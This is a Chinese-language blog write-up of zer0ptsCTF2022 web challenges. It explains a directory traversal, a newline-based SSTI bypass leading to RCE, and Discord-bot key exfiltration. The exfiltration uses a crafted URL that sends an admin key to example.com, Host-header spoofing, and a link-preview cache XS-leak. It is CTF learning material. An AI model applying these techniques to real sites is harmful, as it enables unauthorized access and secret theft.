0%

zer0ptsCTF2022复现

zer0ptsCTF2022复现

其实都在虎符坐牢,虎符做完牢之后zer0pts的比赛也就差不多结束了。。。
虎符四个web感觉有两个不怎么web,zer0pts六个web感觉也有一半不怎么web。。。
zer0pts当初还是我提议拉一个队打一下的拉着。。。对不起其他究极输出的师傅们。
然后最后一个小时简单的看了一下web题。一共六个web,一个签到,两个感觉不是很web的题,以及这两个不是很web的题被非预期之后的revenge,和一个完全没看不知道是个啥的题(说起来究极国际队也赛题被疯狂非预期了,并且这个赛题数量以及其和web的相关程度,感觉也没有比我们好很多。突然心里有点舒服了一点?)不过感觉他们还是影响力比我们大多了,并且他们常年举办比赛也很有经验,总之就是discord里看起来很热闹氛围很好呜呜(我现在才知道似乎discord和QQ群不一样发公告不要随便@全体。。。就丢在announcement里就行。。。以及现在的私聊比较流行的说法是dm,direct message)

然后因为没有怎么看题所以不会坐牢,简单复现

然后因为没有看多久所以简单看一下然后去codeql坐牢吧。。。

GitFile Explorer

签到。是个人都能做。正则写的过于粗糙目录穿越一下即可
zer0pts{foo/bar/../../../../../directory/traversal}
如果把协议那里稍微写仔细一点感觉会难一点点点点

miniblog++

被非预期的web1
这个题预期解感觉和web的关系不大。。。

但是非预期还是挺web的。以及叫做++不知道是不是往年有普通版

代码非常的长,预期解是要打究极的zip协议再ssti。但由于在模板渲染处控制的不是很好结果就导致了直接的ssti打爆了。这里就简单的看一下这段吧

修复前的代码

        for brace in re.findall(r"{{.*?}}", content):
            if not re.match(r"{{!?[a-zA-Z0-9_]+}}", brace):
                return 'You can only use "{{title}}", "{{author}}", and "{{date}}"', None

修复后的代码

        for m in re.finditer(r"{{", content):
            p = m.start()
            if not (content[p:p+len('{{title}}')] == '{{title}}' or \
                    content[p:p+len('{{author}}')] == '{{author}}' or \
                    content[p:p+len('{{date}}')] == '{{date}}'):
                return 'You can only use "{{title}}", "{{author}}", and "{{date}}"', None

修复前的代码使用正则表达式去匹配所有的双大括号,然后只支持a-zA-Z0-9和下划线,也就理论上来说防御了SQL注入。但这里有一个非常严重的问题,就是.不匹配换行。而ssti是可以换行的,通过换行ssti执行到rce成功

修了一下之后直接字符串等于了,超级修复。他们两个题的revenge的附件压缩包密码都是上一题的flag,这样子的做好不好呢?说起来这样子也就可以直接在修复里暴露出上一题的解法了,但是他们还是换了一个方法来修复。写的很死应该是怕再出问题吧。。。(毕竟我们的题目修复之后还是有超级漏洞就很丢脸了。。。)

Disco Party

被非预期的web2,感觉预期解应该是什么discord的特性黑魔法
代码还挺长的。

主要看这段

............

@app.route("/post/<string(length=16):id>", methods=["GET"])
def get_post(id):
    """Read a ticket"""
    # Get ticket by ID
    content = get_redis_conn(DB_TICKET).get(id)
    if content is None:
        return flask.abort(404, "not found")

    # Check if admin
    content = json.loads(content)
    key = flask.request.args.get("key")
    is_admin = isinstance(key, str) and get_key(id) == key

    return flask.render_template(
        "index.html",
        **content,
        is_post=True,
        panel=f"""
<strong>Hello admin! Your flag is: {FLAG}</strong><br>
<form id="delete-form" method="post" action="/api/delete">
    <input name="id" type="hidden" value="{id}">
    <input name="key" type="hidden" value="{key}">
    <button id="modal-button-delete" type="button">Delete This Post</button>
</form>
""" if is_admin else "",
        url=flask.request.url,
        sitekey=RECAPTCHA_SITE_KEY
    )

@app.route("/api/new", methods=["POST"])
def api_new():
    """Create a new ticket"""
    # Get parameters
    try:
        title = flask.request.form["title"]
        content = flask.request.form["content"]
    except:
        return flask.abort(400, "Invalid request")

    # Register a new ticket
    id = b64digest(os.urandom(16))[:16]
    get_redis_conn(DB_TICKET).set(
        id, json.dumps({"title": title, "content": content})
    )

    return flask.jsonify({"result": "OK",
                          "message": "Post created! Click here to see your post",
                          "action": f"{flask.request.url_root}post/{id}"})

..........

@app.route("/api/report", methods=["POST"])
def api_report():
    """Reoprt an invitation ticket"""
    # Get parameters
    try:
        url = flask.request.form["url"]
        reason = flask.request.form["reason"]
        recaptcha_token = flask.request.form["g-recaptcha-response"]
    except Exception:
        return flask.abort(400, "Invalid request")

    # Check reCAPTCHA
    score = verify_recaptcha(recaptcha_token)
    if score == -1:
        return flask.jsonify({"result": "NG", "message": "Recaptcha verify failed"})
    if score <= 0.3:
        return flask.jsonify({"result": "NG", "message": f"Bye robot (score: {score})"})

    # Check URL
    parsed = urllib.parse.urlparse(url.split('?', 1)[0])
    if len(parsed.query) != 0:
        return flask.jsonify({"result": "NG", "message": "Query string is not allowed"})
    if f'{parsed.scheme}://{parsed.netloc}/' != flask.request.url_root:
        return flask.jsonify({"result": "NG", "message": "Invalid host"})

    # Parse path
    adapter = app.url_map.bind(flask.request.host)
    endpoint, args = adapter.match(parsed.path)
    if endpoint != "get_post" or "id" not in args:
        return flask.jsonify({"result": "NG", "message": "Invalid endpoint"})

    # Check ID
    if not get_redis_conn(DB_TICKET).exists(args["id"]):
        return flask.jsonify({"result": "NG", "message": "Invalid ID"})

    key = get_key(args["id"])
    message = f"URL: {url}?key={key}\nReason: {reason}"

    try:
        get_redis_conn(DB_BOT).rpush(
            'report', message[:MESSAGE_LENGTH_LIMIT]
        )
    except Exception:
        return flask.jsonify({"result": "NG", "message": "Post failed"})

    return flask.jsonify({"result": "OK", "message": "Successfully reported"})

访问post时如果带有正确的key就能拿到flag

bot会将message写进redis,然后再发送到某个秘密channel中。我们要做的就是获取到这个key。说起来前面这里的解析。这么大一堆。。。。看的不是很懂呢
大致就是检查了url必须是题目的url,然后不能带get参数,并且一定要访问的是get_post对应的路由,这里的这段写法我就觉得有点玄幻(直接字符串比较不就行了么)

可以简单地观察到的情况是,当你在discord中发送一个链接的时候,discord是会请求这个链接的,然后在聊天框里出现一个preview

非预期1

所以非预期解是在有效的一个post链接后面添加# <vps>,由于题目没有检查hash字段,且最终是将整个url进行拼接,空格又打断了实际上发出去时的url判断,实际上就变成了将vps和后面的参数拼起来又发了一次
请求

http://party.ctf.zer0pts.com:8007/post/0123456789abcdef# http://example.com/

就会实际上将key发送到example.com

非预期2

这里判断url使用的是flask.request.url_root和flask.request.host。而这两个值其实是基于请求的Host header的,只要修改host header就可以发送任意请求了

这里写的这个bind再match的操作我还以为究极检测,结果就是把自己的urlmap对应起来进行比对,并不受host影响。因此修改host就可以提交任意url,同样的进行外带

Disco Festival

这个题修了,把report处的代码改掉了
并且直接用字符串进行host的检查了,发送的链接也基本上被写死了

一次修了两个问题,也很稳妥。。。不像我们修了一个又被非预期了,显得很呆。。。害

HOST = os.getenv("HOST", "localhost")
PORT = os.getenv("PORT", "8017")
NETLOC = f'{HOST}:{PORT}'


........

    adapter = app.url_map.bind(NETLOC)
    endpoint, args = adapter.match(parsed.path)
    if endpoint != "get_post" or "id" not in args:
        return flask.jsonify({"result": "NG", "message": "Invalid endpoint"})

    # Check ID
    if not get_redis_conn(DB_TICKET).exists(args["id"]):
        return flask.jsonify({"result": "NG", "message": "Invalid ID"})

    key = get_key(args["id"])
    message = f"URL: http://{NETLOC}{parsed.path}?key={key}\nReason: {reason}"

预期解

还是和之前发一个链接然后discord会去加载一下预览相关

discord的链接预览似乎是存在着玄幻的全局缓存机制的,也就是说如果其他人在其他地方发了一个url,discord抓取了预览,那么这个预览就是全局的,在另一个服务器发送也会获取到该预览值。并且只要url的参数甚至hash不同,就会重新进行抓取

通过这个操作进行xs leak

report处限制了整个消息的长度,而adapter.match对于get_post的这个router/post/<string(length=16):id>的解析实际上也是转换到了正则r'^\|/+?post/+?(?P<id>[^/]{16})$'。虽然后面半截看不懂,但是开局那个意思应该是允许出现很多斜杠

因此使用大量的斜杠来截断消息。使bot发送类似http://target///////////.../post/<id>?key=xx的消息,这样子可以控制住发送出去的key的长度。从而逐位leak

在bot发送了该链接后对字符集进行遍历,能够迅速得到预览的即为命中,可以使用discord bot消息中的embeds属性快速确认是否命中

官方wp

misc

上次忘了什么原因升级了node和hexo,旧版本hexo遇到ssti这种双大括号是会解析错误疯狂报错的,今天发现新版本修了,并且原来的row和endrow标签反而又不能识别了。不过不用加这个玩意本身就是好事